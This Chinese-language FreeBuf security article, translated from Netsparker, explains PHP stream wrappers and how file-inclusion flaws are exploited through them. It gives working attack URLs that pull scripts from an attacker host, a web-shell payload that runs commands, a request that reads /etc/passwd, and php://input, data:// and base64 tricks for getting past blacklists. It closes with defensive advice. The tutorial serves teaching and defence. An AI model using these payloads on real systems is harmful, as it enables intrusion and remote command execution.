freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试中PHP Stream Wrappers的利用技巧
2019-01-26 13:00:28

流(Streams)这个概念是在php4.3引进的,是对流式数据的抽象,用于统一数据操作,用于统一数据操作,比如文件数据、网络数据、压缩数据等。简单点讲,流就是表现出流式数据行为的资源对象。在本文中,我将为大家介绍一些PHP Stream Wrappers在渗透测试中的利用技巧。

PHP-Stream-Wrappers.png

了解 IT 中的流

当不同的介质之间有数据交互的时候,就使用流来实现。数据源和目标可以是文件,TCP/IP或UDP网络连接,标准输入和输出,文件服务器上的文件传输或文件存档过程。即使这些流看起来彼此差异很大,但它们却有一个共同的线程:它们基本上都是读写的过程。你可以将数据从源写入到目标,也可以将从源读取的数据传输到目标。大致过程如下:

连接建立

数据读取

数据写入

连接结束

即使基本操作是读写,也需要执行其他操作才能访问Web服务器或存档文件,或是执行简单的输入和输出过程,以及通过TCP/IP或UDP建立连接。

流操作中的通用函数

我们可以通过PHP中的一些通用函数与流进行交互:

file

open

fwrite

fclose

file_get_contents

file_put_contents

在PHP中,你可以使用通用函数来执行各种流操作,而无需使用单独的函数,从而使整个过程更加简单。

直到今天,这些函数仍是流概念的主要部分并用于文件读写过程。我们现在可以在PHP中使用wrapper(包装器)来执行各种流处理,例如HTTP,FTP,SOCKET进程和标准输入/输出进程。

如果要使用流,则需要以特定格式指定其类型和目标。我们将在通用函数中使用的流类型定义如下:

<wrapper>://<target>

<wrapper>占位符用于指定我们将使用的流类型,如File,FTP,PHPOUTPUT,PHPINPUT,HTTP或SSL。

如果你是PHP程序员,你应该熟悉以下代码。它会读取some.txt文件并打印其内容。

<?php
$handle = fopen("some.txt","rb");
while(feof($handle)!==true) {
   echo fgets($handle);
}

在代码中,我们使用file://system wrapper调用fopen通用流函数。从技术上讲,上面的代码与以下代码完全相同:

<?php
$handle = fopen("file://some.txt","rb");
while(feof($handle)!==true) {
   echo fgets($handle);
}

由于流函数中的默认包装器是file://,因此如果要使用它,则不必进行指定。

你可以使用以下代码列出允许使用的包装器。

<?php
   print_r(stream_get_wrappers());

流上下文概念

对于大多数用例,流函数的默认用法可能已经足够。但是在某些情况下,你需要的不仅仅是默认用法。

<?php
file_get_contents(“http://www.example.com/news.php”);

我们假设可以使用file_get_contents命令来读取http://www.example.com/news.php上的新闻。但是,如果该网站需要某种形式的身份验证才能访问其内容呢?在这种情况下,你可以使用流上下文(Stream-Context)规范使用可选参数自定义流行为。

以下是一段流上下文的示例代码:

<?php
   $postdata = '{"username":"ziyahan"}'
   $opts = array('http' =>
       array(
           'method' => 'POST',
           'header' => 'Content-type: application/json;charset=utf-8;\r\n'.
               'Content-Length: '.mb_strlen($postdata),
           'content' => $postdata
       )
   );

   $context = stream_context_create($opts);
   $response = file_get_contents('http://www.example.com/news.php', false,
   $context);

如上所示,流上下文实际上是一个数组。上面的键值表示将在上下文中使用的包装器类型(本例中为HTTP)。每个包装器都有各自的上下文参数。你可以在PHP文档中阅读有关它们的更多信息。

PHP 流过滤器

以上我们对流的读写过程已有了一个初步的了解。流包装器的主要优点是可以在读/写过程中即时的修改,更改或删除数据。

PHP为我们提供了一些流过滤器(string.toupper,string.tolower,string.rot13和string.strip_tags)。除此之外,还可以使用各种自定义过滤器。

我们可以使用stream_append_filter函数在流上应用过滤器。例如,下面的过滤器会将所有读取的句子转换为大写:

<?php
   $handle = fopen('file://data.txt','rb');
   stream_filter_append($handle, 'string.toupper');
   while(feof($handle)!==true) {
       echo fgets($handle);
   }
   fclose($handle);

在data.txt中读取的信息将以大写形式显示在屏幕上。

你还可以使用php://filter wrapper向流添加过滤器:

<?php
   $handle = fopen('php://filter/read=string.toupper/resource=data.txt','rb');

   while(feof($handle)!==true) {
       echo fgets($handle);
   }
   fclose($handle);

流开始传输时将调用该方法。与第一个示例相比,该方法对于之后不允许过滤器附件的函数(如file()和fpassthru())更为可行。

你可以使用过滤器进行编码(rot13,base64)或文件压缩和提取。

除了PHP和预定义的包装器之外,你还可以使用第三方包装器(如Amazon S3或Dropbox),并为特定操作编写自定义包装器。

在此之前我们给出的示例属于本地文件包含(LFI)类目,其中包括将目标系统中的文件包含在代码中以提取系统的数据。

在远程文件包含中 PHP Wrappers 的使用

除了LFI之外,还可以远程向Web应用注入代码,即远程文件包含(RFI)

以下是一段示例代码:

<?php
   include($_GET[“go”].”.php”);

使用这段代码,你可以使用链接浏览网站,例如www.example.com/?go=contactwww.example.com/?go=products

但是,这段代码有一个根本的缺陷。假设在远处的某个服务器中有一个名为malscript.txt的文件,该文件包含以下代码:

<?php
   phpinfo();

这是包含以上代码文件的URL:http://www.attacker.com/malscript.txt

然后,攻击者将调用以下URL加载该恶意脚本。

www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt
<?php
   include(“http://www.attacker.com/malscript.txt.php”);

开发人员添加的.php扩展名在此示例中显示为barrier(屏障)。在RFI攻击中,想要绕过它非常的容易。

这是攻击者提供的URL:http://www.attacker.com/malscript.txt?q=。这是攻击者为了执行攻击而需要访问的完整URL:

www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt%3Fq%3D
<?php
   include(“http://www.attacker.com/malscript.txt?q=.php”);

使用攻击URL中的“?q=”字符绕过.php barrier。这只是一个例子,在多数情况下你可以使用适当的扩展名托管文件。这个技巧对于服务器端请求伪造攻击(CSRF)也非常有用。

.txt文件从远程服务器被注入到PHP函数中,文本文件中的代码将作为网站代码的一部分被执行。phpinfo()函数将为我们显示服务器的敏感信息。

在该示例当中,我们仅仅只是读取了服务器的信息。如果我们将其中的代码更改为其它PHP命令又会发生什么呢?如下所示:

<?php
   system(“uname -a”)

可以看到,现在我们可以利用RFI执行系统命令了。此代码允许攻击者通过将其作为GET参数提供,来执行他们想要执行的任何命令:

<?php
   system($_GET[“cmd”]);

我们再次使用与前面示例相同的脚本URL:http://www.attacker.com/malscript.txt?q=。但这次我们可以提供一个系统命令作为CMD的GET参数:

www.example.com/?cmd=uname+-a&go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt?q=

此时,服务器可以根据攻击者的请求运行各种命令。

如果无法使用查询字符串覆盖 .php extension barrier,则可以使用该扩展名。你需要为此创建一个PHP文件,并在将其上传到服务器之前包含以下代码。

以下是backdoor.php文件中的内容:

<?php
   echo '<?php system($_GET["cmd"]);?>';

因此,攻击者需要提供的新链接为:http://www.attacker.com/backdoor。这是攻击者为了执行攻击而需要访问的链接:

http://example.com/?cmd=cat%20/etc/passwd&go=http%3A%2F%2Fwww.attacker.com%2Fbackdoor

PHP将执行此代码:

<?php
   include(“http://www.attacker.com/backdoor.php”);

使用 Stream Wrappers 绕过黑名单列表

如果开发人员开始采取防御措施并过滤掉了一些输入,那么我们又该怎么办?例如,不允许在参数中使用http://。

其实解决方案很简单,你可以使用其他选项,例如php://input wrapper,而不是已过滤的http:// wrapper。

在利用RFI漏洞时,如何使用包装器来获取POST请求主体的输入并将其发送给PHP编译器呢?

以下是一个请求示例:

POST http://www.example.com?go=php://input%00 HTTP/1.1
Host: example.com
Content-Length: 30

<?php system($_GET["cmd"]); ?>

如上所示,即使过滤掉了http://和file:// wrapper,我们仍然可以使用php://input wrapper来利用此漏洞。

即使开发人员将php:// wrapper和允许系统级命令执行的其他PHP命令(如system,cmd)列入黑名单,我们仍然有办法覆盖barriers。在这种情况下,我们可以使用data:// wrapper,其作用是将传递给它的输入作为类型和值传递给PHP流函数。

以上的代码为:

<?php
 &nbsp; system($_GET[“cmd”]);

如果允许使用data:// wrapper,攻击者只需使用以下代码而无需托管外部文件:

data://text/plain, <?php system($_GET["cmd"]);

这是最终请求的URL编码版本:

data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e
http://www.example.com/?go=data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e

使用cmd参数,任何代码请求都将被执行。例如,想要获取系统信息,可以使用uname -a命令,但必须先对其进行编码。

用于攻击的URL:

http://www.example.com/?cmd=uname+-a&go=data%3a%2f%2ftext%2fplain%2c+<%3fphp+system(%24_GET%5b"cmd"%5d)%3b+%3f>

前面我们已经假设开发人员将system和cmd等关键字列入了黑名单中。那么,我们有什么可以代替的解决方案呢?

幸运的是data:// wrapper支持base64和rot13编码。因此,你必须对将用于利用base64中漏洞的PHP代码进行编码,并发出以下请求:

PHP code:

<?php
   system($_GET[“cmd”]);

这是漏洞利用的base64编码版本。PHP将对其进行解码并执行。

PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=

你将发出请求的URL:

http://www.example.com/?cmd=uname+-a&go=data://text/plain;base64,PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=

go参数下的脚本代码(base64编码)已经准备好使用“cmd”参数在操作系统级别执行命令。

总结

在本文中,我为大家介绍了一些PHP Stream Wrappers在渗透测试中的利用技巧,以及让大家对此有了更为深入的了解。这些包装器也可以用来绕过某些安全过滤器。正如上面例子中所说的那样,由于攻击范围不断增加,使用黑名单几乎已不可能确保安全性。将接收的函数和文本输入列入白名单而不是将关键字(如http://,file://,php://,system和cmd)列入黑名单,并在每次发现新的攻击媒介时及时的更新它们将更为有效。可以说,效率是保护Web应用程序安全性的关键。

除此之外,你还可以禁用远程文件包含功能,并且永远不要让用户在可能实现远程文件包含和执行代码的函数中控制输入,例如require,include,require_once,include_once等。

*参考来源:netsparker,FB小编secist编译,转载请注明来自FreeBuf.COM

# php # stream
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者